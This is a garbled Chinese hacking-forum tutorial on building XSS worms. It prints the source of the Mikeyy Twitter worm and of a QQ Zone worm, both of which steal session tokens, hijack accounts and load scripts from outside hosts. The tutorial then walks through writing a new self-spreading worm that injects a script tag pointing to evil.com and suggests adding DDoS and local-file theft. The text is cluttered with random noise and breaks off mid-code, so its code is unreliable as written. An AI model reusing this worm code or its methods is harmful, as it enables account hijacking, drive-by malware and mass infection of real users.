"&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""]; ; S( v( n, N- R. u W4 `7 u& S# E
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3. function XHConn(){
7 B+ e: J* | h
0 r. q( o2 v" @9 { 4. var _0x6687x2,_0x6687x3=false; 3 H1 j! r, O. T& K/ q3 j# Q
' n9 \0 b# r$ U# j+ z+ x% I& F) q3 C' h 5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); } , h6 E4 D! W; Y3 r* t
, }" \8 T: X1 G! w$ z; } z" y 6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }
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7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); } % C N& W/ e* T3 ^1 D
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8. catch(e) { _0x6687x2=false; }; }; }; ; g4 F. u- v+ p$ F# m3 f0 s% M
复制代码第六版: 1. function wait() {
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2. var content = document.documentElement.innerHTML; 1 F5 Y% V4 [: I p" z7 d
7 z' k/ |( U. r. H' \ 3. var tmp_cookie=document.cookie; % J0 q8 S8 P, I% e3 n# |4 N
# `: N' D% b# a9 y7 v 4. var tmp_posted=tmp_cookie.match(/posted/); " x$ U7 n+ ^$ e6 w* |5 y
* C1 q/ n# R0 D% F% f0 [ 5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g); & \; ~6 U1 M5 ^0 [4 U4 |
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6. var authtoken=authreg.exec(content); & w! x3 }% f+ q5 E
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7. var authtoken=authtoken[1];
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8. var randomUpdate= new Array();
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1 `% y, D# M9 X& j7 x/ j 9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";
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9 ]' X8 e3 N' L* h7 Q5 Q& F* R 10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";
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; l) G' y) \+ d- c* }7 Z- k 11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy."; ) T* e$ `/ _3 b5 V: N
& d3 M2 y' A* h1 W 12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy."; " ^9 S: V% b- ^
: {1 @( O1 J/ ^& x+ e 13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";
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14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy."; - X! N2 V8 V1 u( V" O( J& s
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15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";
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( l |, Q. @+ k 16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy."; - n- ?9 a/ F- \8 Y' J; C
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17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy."; ( B/ \( x/ X$ l4 D% J2 g4 t
' D) I( g. W& I4 C; x 18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";
1 g) V3 Z4 I$ Y L Z$ ?$ M4 B6 f0 ?$ }; }! a3 m0 l: r8 Z8 j p
19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy."; 3 {, e& @$ k* a; t; a( P, J0 [
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20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy."; 2 U; ~, i$ n$ X
) G0 D) _$ Z0 v 21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";
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6 n8 E- C+ k* U. q" ?$ C 22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";
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23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe"; 8 O& _& T5 W& T* c
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24.
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25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)]; * Y1 a3 u7 y, a. V$ E1 k
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26. var updateEncode=urlencode(randomUpdate[genRand]);
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! R, L! u0 k( k9 R 27.
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# t7 p5 i7 X7 y: |% G 28. var ajaxConn= new XHConn(); 2 @% R* a* B& w5 g1 B" q
2 G( ^% J, t$ _. @. j$ F 29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true"); + B8 w9 Q' ?$ n8 Y& w& F; K% i6 |
% d0 W% ]# I* ]4 a. d6 {$ d! i 30. var _0xf81bx1c="Mikeyy"; : c+ }) b+ a' F+ B4 X1 q) ?
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31. var updateEncode=urlencode(_0xf81bx1c);
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32. var ajaxConn1= new XHConn(); ) P3 V0 [, D! g, J
# l' S# s% ^ S 33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save"); 9 o* ^1 A1 j" {, W
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34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333"; 6 ]2 ^3 a+ U: v& f7 J( `4 d
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35. var XSS=urlencode(genXSS); & V, }3 `* p2 d, Y
, {3 A, B5 ?" |3 i- z8 { 36. var ajaxConn2= new XHConn();
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37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");
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38.
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" Q5 x( T& I% [# t0 f 39. } ;
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4 [- g/ J- f/ j$ } 40. setTimeout(wait(),5250);
' A- ?4 [% _/ ]复制代码QQ空间XSSfunction killErrors() {return true;}0 y" P3 v( [" b/ f
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window.onerror=killErrors;
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9 ]9 `: N! o" O3 X+ g0 E8 hvar shendu;shendu=4;* W* W8 D2 K& e' x1 u p
( m" d3 l5 p# C: Y//---------------global---v------------------------------------------
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//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?# D; \5 x* F( j* s4 o/ a& F# I
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var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
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* Z- N/ @$ v- Q; _var myblogurl=new Array();var myblogid=new Array();+ a8 R- @) [* V( V$ A, f
Q \: Q3 Y7 E var gurl=document.location.href;: n @% r( l$ Q' r" g8 p
% n1 w7 ]& H- v/ L. c0 L var gurle=gurl.indexOf("com/");
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gurl=gurl.substring(0,gurle+3); * Z' D6 Y: {6 u+ E% {
: n/ G" K7 m1 G' x/ t' M1 S* D; k var visitorID=top.document.documentElement.outerHTML;
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: |! W& H/ z% A9 U6 ^2 E& { var cookieS=visitorID.indexOf("g_iLoginUin = ");
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visitorID=visitorID.substring(cookieS+14);$ a* R$ h* \. u- w% }" u- J3 r
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cookieS=visitorID.indexOf(",");
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' \& H+ Q& J) y visitorID=visitorID.substring(0,cookieS);' u8 Y) g( X4 W4 |/ u
6 ]/ M& e" F4 G" k; w$ f& ] get_my_blog(visitorID);
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DOshuamy();
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0 ?! \5 X" q' T, d1 ^3 H5 x& ~
//挂马& u% x4 U8 Z: Y
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function DOshuamy(){
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var ssr=document.getElementById("veryTitle");
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4 M4 s3 n4 i0 ~. _ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
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1 a' T# T3 Y J/ `}
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+ o% d# o) J) L3 R: m' V- x U. z//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?4 S, A6 m5 s# g& ?5 y+ {) h
0 c/ V( T2 f8 n, xfunction get_my_blog(visitorID){, M b! T/ o5 ^2 y: Y
9 i4 B k4 a. ?0 E% y" m7 e userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
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' T5 g4 {! K: M3 C m5 l( D xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象
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if(xhr){ //成功就执行下面的
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xhr.open("GET",userurl,false); //以GET方式打开定义的URL
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! S$ f/ p+ v. ]+ {0 y& `* [3 ~! h xhr.send();guest=xhr.responseText;; x, B5 w: U5 {" K* @, ]6 N
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get_my_blogurl(guest); //执行这个函数
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}
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}
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; u0 D0 D& L" A# l//这里似乎是判断没有登录的
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* Y! X& s2 l; z0 i$ P& F" vfunction get_my_blogurl(guest){
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4 J! [8 h2 t7 b- q$ ^ var mybloglist=guest;
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var myurls;var blogids;var blogide;
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for(i=0;i<shendu;i++){
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myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了
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% r4 T1 R7 U( w1 h; H if(myurls!=-1){ //找到了就执行下面的
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mybloglist=mybloglist.substring(myurls+11);
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- C. [7 z$ g( D2 D+ { myurls=mybloglist.indexOf(')');$ M" C% H2 u' K! J4 e
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myblogid=mybloglist.substring(0,myurls);8 \9 {) Y6 s1 s
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}else{break;}
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get_my_testself(); //执行这个函数" z2 Y8 @, ]: }2 m3 l
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}
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$ a& J1 x T5 w6 Q" N0 ]//这里往哪跳就不知道了( R. s: q$ L# E3 }, w
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function get_my_testself(){9 z2 O8 z; S) _ A" C1 p
# S9 h6 x. P% |4 K for(i=0;i<myblogid.length;i++){ //获得blogid的值
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var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
* k! v0 {: D3 ~" O! B9 l7 u0 b8 {/ u- w7 y Y
var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象% z) n' X& H9 \. |: M
' o- v/ p) H# x& ^8 y" w2 W if(xhr2){ //如果成功
6 {$ y G' w) ?. y2 q+ G
) {3 v2 q3 h& ^; M" N% n xhr2.open("GET",url,false); //打开上面的那个url
6 q+ x' @2 U4 h( c
3 j1 ^" S6 E; t: `( B xhr2.send();
, R1 T" t. Q# B' H
O& P& n! }4 R1 \* P guest2=xhr2.responseText;7 s; v' W3 B/ N% E( M% Z
$ z; Q3 P- q; _' N! _$ }) o. m4 ~ var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?
4 {0 E& E2 ^; a* C! y, D& V& r |- d
( V8 B% j- ^0 |/ a7 ? var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
4 e! ~. P* W1 e5 ^4 r0 Q/ L/ t q/ B1 |7 Z, n3 z/ M$ @, h
if(mycheckmydoit!="-1"){ //返回-1则代表没找到0 ? E4 Y v# D* c* P) {
% ?1 Z7 u0 W; ~; t7 L targetblogurlid=myblogid;
( E% m, O8 \7 J; O( P/ i. R) S1 s7 v/ ~5 V4 O9 ]
add_jsdel(visitorID,targetblogurlid,gurl); //执行它
, q& N5 u5 @) v- C G& A3 U/ U- M
break;
, J/ ^2 R( R5 f4 R' @7 p" y5 S, r3 A7 |5 y
}
# {! U0 N1 u6 d4 I2 L9 C% b
5 M, T" n. x: W. V0 U if(mycheckit=="-1"){+ a& q9 [5 H5 F3 E
9 z2 q* o3 `& D( m% z4 i targetblogurlid=myblogid;" b# Y- b6 M; s( @, F
: ~4 j! e& z& V1 A9 ? add_js(visitorID,targetblogurlid,gurl); //执行它
( o+ n9 W2 ?6 m3 S: Q
4 |# l4 v# U* \, w) |% q k break;
7 L8 C, o, M- I* e2 B3 _( f3 a c/ P* Y! G( D/ U. {
}
7 C! e; i" M- [ r- s% C) G, p; F' E+ f7 o' q' l: P" ]2 @
} * e7 v8 w5 o0 V8 b7 p
9 e' n$ E: V1 g+ x! S: t5 f}( ]5 ~* T0 I/ A/ ~3 a) P, |
6 z1 V* | g" J0 i}3 u6 M1 u0 Y2 t! p7 V9 x
/ ~1 `7 H/ u5 Q& a2 e$ F3 H7 c
+ j$ U7 R5 J, n: v0 c0 ~
e1 U' N% K$ h; m$ S" y$ F7 O//-------------------------------------- . Z$ A( a" y+ Z7 D9 U( h
* O" f4 ^3 S$ |5 f//根据浏览器创建一个XMLHttpRequest对象* r. s% |- `' W0 }, A" o* S
f" ^& O; y7 p* ifunction createXMLHttpRequest(){- t" V: B2 s$ F$ y! E7 r- Y
& ^9 h1 b# J- g( J1 W/ J var XMLhttpObject=null;
. F, K. m( X, B! m& F) f9 b$ S- o4 {2 t U( e) u S6 S( l# {- q! m& n
if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}
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else & A5 A& ?; d( b# f5 U
( n0 O- J! U Q! U S4 ^
{ var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];
7 Q) }, Y0 ?# {7 t
# h. R3 k2 @: K& M for(var i=0;i<MSXML.length;i++)
{; P$ B- e/ W$ T
: e" z2 J6 a6 I* y; r& u6 \! ^/ Z { & `& ^% m# d% V" g0 d; R
# x2 I8 f/ p6 a, }$ k try 9 N1 u! s) o( ^1 U
+ T0 h" |; s, F; B3 ` {
: M7 l$ c9 Q) e5 n. V$ p; @# N9 W' c5 x, M% v# T
XMLhttpObject=new ActiveXObject(MSXML); ' J7 P0 E5 h+ t. ~3 i: q1 Q
- p1 Z; Q( i5 ]& g2 r1 s! x1 ] break; ( X# C/ Y+ i" z% R! a
& U5 V/ z+ o$ a, A# W6 V
} 3 ]9 P" x) J8 q) I0 |
2 s) s4 j3 |0 C7 C. y( A# r, r6 }
catch (ex) { # e- G8 @" X! k6 H0 d* @
6 y- H3 h- [+ J$ y! ~6 e( K }
# r: T+ O, |% K/ q& N0 M" e6 z8 J1 w; G- j1 s9 _$ U1 M
} : {; [! Y5 `/ Z7 U0 v, ^
, p0 X4 T" S4 ]& }' n) d1 D
}
3 ?& ]* s8 E% T$ I1 z' a3 c& u; R! j
return XMLhttpObject;
S; V" t* V7 X' ^9 q/ l6 d( h4 o$ i- A- p0 F3 a9 X
}
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6 ~/ K0 p( {# T+ V0 h1 W% i& M* w8 X0 d, G2 i2 E6 Y% j7 _4 W! _# N
3 J: R* O# n9 t//这里就是感染部分了
. Z- ]0 J# P9 }8 f& E5 m$ Q/ E# u; L+ X; U3 R* v3 f9 N
function add_js(visitorID,targetblogurlid,gurl){
7 i* n; h7 u8 {6 u c
1 F% x; c+ X+ g! V9 D6 S) j! Z2 X6 Xvar s2=document.createElement('script');
. h" ?" {: n$ U, J
. e( l) C: F$ r6 ys2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
0 F2 ?& S6 `+ |/ r
+ ]9 I; u% x( m4 ?. Qs2.type='text/javascript';+ J- K" u+ M) l" M8 h1 v4 q6 z, ^
' r5 U$ `( E; @; p8 zdocument.getElementsByTagName('head').item(0).appendChild(s2);
6 J& c. W( c$ l" P- @( l# l2 Q }! W0 a, s
}
- U) W1 {9 n, y, j5 x0 l, T0 Z% X- F1 U" X5 n& D9 h' u
# g/ h; ~; V( ~3 X* N) u% T" |7 R" B
function add_jsdel(visitorID,targetblogurlid,gurl){1 _' w# x/ }) F. L
$ ]6 K2 `2 n. l/ jvar s2=document.createElement('script');
9 |- s- p" _) u0 V, m7 k8 I8 X0 E$ ], V2 U# c) B
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
9 i6 K) f5 F# U. d6 M
6 r" f, s0 X/ G m8 A1 l5 ps2.type='text/javascript';
# l/ z6 q# I5 Q* ]! `9 z0 o9 P3 K* W2 E) x) ?
document.getElementsByTagName('head').item(0).appendChild(s2);9 \" ~7 h; D' S" W; C5 b0 C: _+ D
5 d$ a& [ ~" j3 t+ p' M( q& h}
3 z1 i) y+ ]3 e/ T2 Y& ^7 C复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
+ @ O* i$ W3 w: W$ ~+ W2 o1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
5 C) z+ M' J. @4 W& n& B c+ O; w9 c! V8 d. Y
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.). G' `* ^9 O% \4 F& p4 L0 r
2 V6 Q) H. U) m$ V) R综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
. E* s3 n3 c( t" u; P9 y0 z+ Y4 Q0 x; `; I6 E1 w3 e. ]
# B$ v& o: i" P3 s, ]6 \ m
下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.- |/ `5 B& V$ e( M" O. \" V0 s
- [& G& Y' T+ t8 d) H$ s& `首先,自然是判断不同浏览器,创建不同的对象var request = false;& K# B/ M: ?! i+ ~/ F
5 I1 M/ I2 K Y) Q
if(window.XMLHttpRequest) {4 V5 F' h* U6 G3 S
: u' r4 x: p9 K. |request = new XMLHttpRequest();% \: z" y5 z% R% F5 C6 i
0 k. A: @$ t- @/ w: Oif(request.overrideMimeType) {% }1 _$ }0 U( s
. S4 D% C- {; g8 [request.overrideMimeType('text/xml');
$ y/ q [% Y: C6 L3 T- X
6 e, W8 ?. P/ j: G}& o. w3 d9 z: m
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} else if(window.ActiveXObject) {
! b; C7 s+ o# p1 Y& |8 `. r
& v0 X. L6 \& l$ Qvar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];- U0 {; t6 j8 `, o
! M+ o4 s$ V8 P
for(var i=0; i<versions.length; i++) {$ I& j8 n' O) q% z1 B1 Q% \
* U" v$ w% |2 \' q% wtry {- O- y4 D/ L% G5 F( k
8 D& K: d7 T; u. ^/ w) C& @4 \3 t, s
request = new ActiveXObject(versions);- ?. ?4 _% ]# a' h/ U
5 B5 c* v5 b% v
} catch(e) {}9 v$ ]7 R& n9 A. G/ h) A3 K
4 b, X4 r. y/ F7 [7 Y
}
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}" S3 f+ X) t! [- ]0 G6 Z
[7 C" M1 r5 t% {+ R& rxmlHttpReq=request;
. Y, q$ r% c/ _4 p1 w) z m复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){
% h7 y( a7 B p0 Y0 O5 P! o, i
4 |$ M# Q/ o' D" l+ A: ]* { var Browser_Name=navigator.appName; U; b5 b+ H$ G7 S
2 P2 |; `) y" [% ]. g) c
var Browser_Version=parseFloat(navigator.appVersion);# B7 g2 r7 z& O0 l7 {
6 o% c+ U X) k5 C! A( t
var Browser_Agent=navigator.userAgent;, A; p% i4 @. i9 R5 v
; v( d/ S7 d5 K' B- D* c9 B ' T" Q/ |7 t* [7 N* x
R/ r' n6 ?0 E9 M8 \0 f6 N
var Actual_Version,Actual_Name;- x& X* T5 y @ |& J, z
3 ?( @) B+ d* [
7 v7 d7 J1 y9 E& g
8 [& Y; ]: z( s# V# a" t
var is_IE=(Browser_Name=="Microsoft Internet Explorer");7 N: _. O; z( L% J
3 ]2 y8 z& s | I. n" p var is_NN=(Browser_Name=="Netscape");$ P8 d! C; [1 k* C) `5 ~( ?
& y7 z1 e$ {6 y4 N1 E0 P! D" h5 d+ r var is_Ch=(Browser_Name=="Chrome");9 Y% H* e4 \7 Q
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2 \ H* H. @, o5 M/ l! ?, v! k# @
, V1 [6 o: d, V, l t0 W$ X5 n& u- D if(is_NN){
1 D, V% ~( b( e, x& ?: O
2 I4 f- p: K- [ q9 K+ c if(Browser_Version>=5.0){" q& v; y) e9 j& f- g9 w
7 o( l* ]2 `* c+ v* l; S
var Split_Sign=Browser_Agent.lastIndexOf("/");4 ]+ b- X- Z! L0 k! ^
A B* }9 Y3 D$ m7 A, M3 R
var Version=Browser_Agent.indexOf(" ",Split_Sign);5 Q" X0 s$ E7 p9 v+ ~
% N2 d* A, E2 u' D0 R$ |1 ^6 r var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);& v) j& A) ]. H
% z+ K; R# P3 B( @8 Y: J
% v: k0 M0 ]* A3 y
1 u0 W$ b( C) ^
Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);2 d t# ?5 v( V
3 t+ A0 Q# x6 r7 t7 ]' _ Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);2 P3 v' W+ S. @' ~' z
# r- I3 G3 Q5 U. h6 l6 Z
}# }' s! O+ D6 p7 R
$ S" x9 ~! [7 o) h
else{
. l2 @6 x: f4 ~* I9 b; F& m0 Q' a5 t' F `" x9 ]
Actual_Version=Browser_Version;8 C# o. ]. C- I
9 C$ l5 u; L2 a e/ q Actual_Name=Browser_Name;
9 j; C! |& e1 O2 L9 m% Z. D* q h+ h, Y9 d5 e4 Y3 j9 x
}/ Y: _) L' m4 i$ P3 p
0 Q: C- Q2 t) R9 W& ^" V. V }
3 s' \# Z" H0 o/ J. @0 a
, {4 C& @) T; M7 K* L0 E. D4 k else if(is_IE){
/ K* C6 V4 ]0 k. p) |& d1 V' z1 K2 h3 N- v- K: d' C
var Version_Start=Browser_Agent.indexOf("MSIE");
- {2 M* q* W) Q/ G8 {
% S! z6 G& e& F! P3 C3 l8 w7 t var Version_End=Browser_Agent.indexOf(";",Version_Start);# u& i9 R8 {! o
3 A- r6 b( K# M0 d6 s5 M6 r
Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)3 Z% r8 o4 @( Y/ f# d: s- K
+ E. d$ a% b3 P4 T Actual_Name=Browser_Name;
% N6 J+ X# Y( K) X7 n# J9 A/ }" a b. b r) ^
$ z) U) [7 @- ^* r5 V0 T9 r9 w; l
; \# j; F9 Q7 G' S# M+ L if(Browser_Agent.indexOf("Maxthon")!=-1){! ?! ]3 ]+ x0 j
/ z8 |; L: k4 E+ J
Actual_Name+="(Maxthon)"; w& ]7 W3 c5 P9 |6 y0 N! D
( i6 ?! N$ q/ E. i$ A
}
* Q, w3 p" [3 w! f& {. H4 w4 n+ o5 _0 b2 A- R# n$ Y
else if(Browser_Agent.indexOf("Opera")!=-1){5 k e" s4 B* i8 h
% ]1 Z! w+ n; ]9 u
Actual_Name="Opera";& b' o2 J: g+ p4 ^3 _" [* |
7 C, W4 l E/ B# F3 S; u' d+ _5 O var tempstart=Browser_Agent.indexOf("Opera");0 X0 f D" g0 m0 t" S/ h3 n
" \. x4 y) F1 M
var tempend=Browser_Agent.length;
) d9 v0 { i: A+ X" p* \$ T8 M' \& l" ?$ Q$ u2 W+ a
Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
2 x( I* X( {( m2 O/ t6 i N6 A, q
0 S7 {. C. X* y8 v, ]1 a3 f0 F }
' I* y1 C3 P' S) M" P
. r; W1 m* m' a, B6 L5 } }& j4 T! p- I W+ R! a4 y/ o2 b
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else if(is_Ch){
v( I2 a, J( j+ o; J+ Z. w$ U( ~. w' @/ h' |
var Version_Start=Browser_Agent.indexOf("Chrome");
: |- a5 X% k! r6 a# q0 X, q8 i R- l( n; P$ y4 `( g0 b
var Version_End=Browser_Agent.indexOf(";",Version_Start);( @" e r$ ^6 X) A# l6 T8 G% v
" e% T' w) |( |7 l6 z2 v% { Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
* g! n: c/ \0 p
* o u/ ~$ L* B2 D Actual_Name=Browser_Name;1 b) q/ t* g& h) w8 r+ @
! Y& @3 X4 K7 ?) Z% j 4 ^1 ]( N: Y0 p1 c3 I8 r
; D# i" Z! E! V" D( G4 a, f2 f7 w
if(Browser_Agent.indexOf("Maxthon")!=-1){* t' G" l2 S# R2 _
0 ]5 g4 \( R# p8 F
Actual_Name+="(Maxthon)";
+ |0 v$ \. x- p$ o2 y0 X. D7 E
6 c; d* g/ q5 u }2 ?; X w- Y6 Q: g5 _
7 t4 E% ]8 X r8 E- l& L
else if(Browser_Agent.indexOf("Opera")!=-1){
5 X& V' ]& ` Y3 t9 R: y7 s: ^7 e( F
Actual_Name="Opera";- s6 D5 P) P, P0 b7 T/ P
4 i# m8 U! P$ R* D
var tempstart=Browser_Agent.indexOf("Opera");
3 L/ a" ?. E0 J! `8 g) E1 t6 ]; \3 v, j" |5 j/ q9 {. R
var tempend=Browser_Agent.length;
3 |/ Y( ?9 \9 e# o1 A: U3 y9 p# n+ }/ J4 d) g4 n: r# b
Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
Q$ `5 i. a: [9 E) H
2 ^$ S$ u% b, t) y: ` }
% c( x* k, k( M8 j% g1 m/ I5 G# ?8 } R# P$ b/ A; D
}1 D6 X1 @" B2 n
/ l$ n% }7 c U, ^$ f
else{
1 a) w" p* Y& c1 Y' _; V( ]3 y4 i# b6 ^0 g' v1 ~# h
Actual_Name="Unknown Navigator"
! s) b9 L# z( s8 i5 o2 {6 y" w E: u, e6 \6 @- s1 X. F \
Actual_Version="Unknown Version"
% E( T+ J2 Q* R. G$ n6 r1 n. B2 K* y/ n
}* m$ T" q% E, W5 `) a
% u) k1 \7 f$ v0 |
' E; T) g# P: D4 [
1 ^% } ?5 U. L' j9 y1 X# I navigator.Actual_Name=Actual_Name;% ?! H- ~6 U! s0 H: ]; c& T
4 e3 ~, p$ J5 j4 X9 ~ navigator.Actual_Version=Actual_Version;
/ x0 ]* L) K& l" Q* o/ c; a q* m3 g+ ]; O7 r
. t# ^8 w( J0 Q- H: u6 T- M1 n$ }: a# r5 C8 h$ N/ e+ y- T
this.Name=Actual_Name;. T8 w6 \' c; x
: B) c: i- \2 `& R
this.Version=Actual_Version;. i% Y3 t8 H b/ [2 G+ _% O: W
- d' O; ^; v# N" f6 i }0 I/ W) T0 R! H9 ]- }* N! L
0 t( `- p1 E$ W* b, B browserinfo();
, Y! N* U& j7 S8 R% {( W- g v) t, q$ X* P- }# D3 Q
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}# @! }6 q# ^8 Q) B3 h( ~
9 p% Q% c" o h# L! @
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
1 Z1 x. m2 M3 c: D, t6 V
' [2 M/ t5 }. r# u: p u+ N- d' u if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
: j7 Q4 Q8 s0 M- X9 R
: E% j( d2 U( N8 }& Q3 N, f: Y, C if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
- a0 r6 B9 K2 ~& v复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码6 h4 D7 t; a. j) P# p$ a g0 N* k" I% }
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
$ W: g d9 m, [4 d) h( X# y) X复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.. `6 Y: ?6 l* a$ P
( t6 h( s6 D' Z8 NxmlHttpReq.send(null);
$ i0 m# |9 H- _& r: b; ]
4 z& v% t! C/ K, W) H3 Dvar resource = xmlHttpReq.responseText;
! L& [4 I2 D2 A @* t5 k6 ], K% L. w, O, l" w
var id=0;var result;
- U# @' I2 c4 Z! z
N+ a" R5 p! p. u/ T6 X3 c, W5 yvar patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
. c3 x; P% P6 X4 @! [3 f) l6 W9 l- C3 y6 l
while ((result = patt.exec(resource)) != null) {
' q9 G: |2 p/ j4 N6 O5 Z, T8 Y& C& w' l
id++;
. V5 V6 S) ]& Y N' t8 x6 G- {, @$ X! R
}
. [. }+ Z( E1 M# I9 J7 D复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.
6 ^% R* y/ |4 m8 [3 |2 J$ h! ^. b& w# i! t
no=resource.search(/my name is/);
& ]) k) ^* h2 N w, U4 |1 Z$ p/ X1 v( |2 m! S
var wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.9 H8 n$ N/ |+ W8 n3 e; y- k
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var post="wd="+wd;
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! x; K* \' e8 y) h- s f. ^xmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.
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3 V3 E/ G' W+ x& A5 `) } [5 m oxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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$ p* e( H% L4 s h3 d( ~8 a* d8 LxmlHttpReq.setRequestHeader("content-length",post.length); 4 D/ P, b5 J$ h9 g: }
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");% U! o! f* _) }
& d, k; J2 f8 i3 }/ g( R RxmlHttpReq.send(post);
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复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{3 C2 ^! T7 {. x+ s
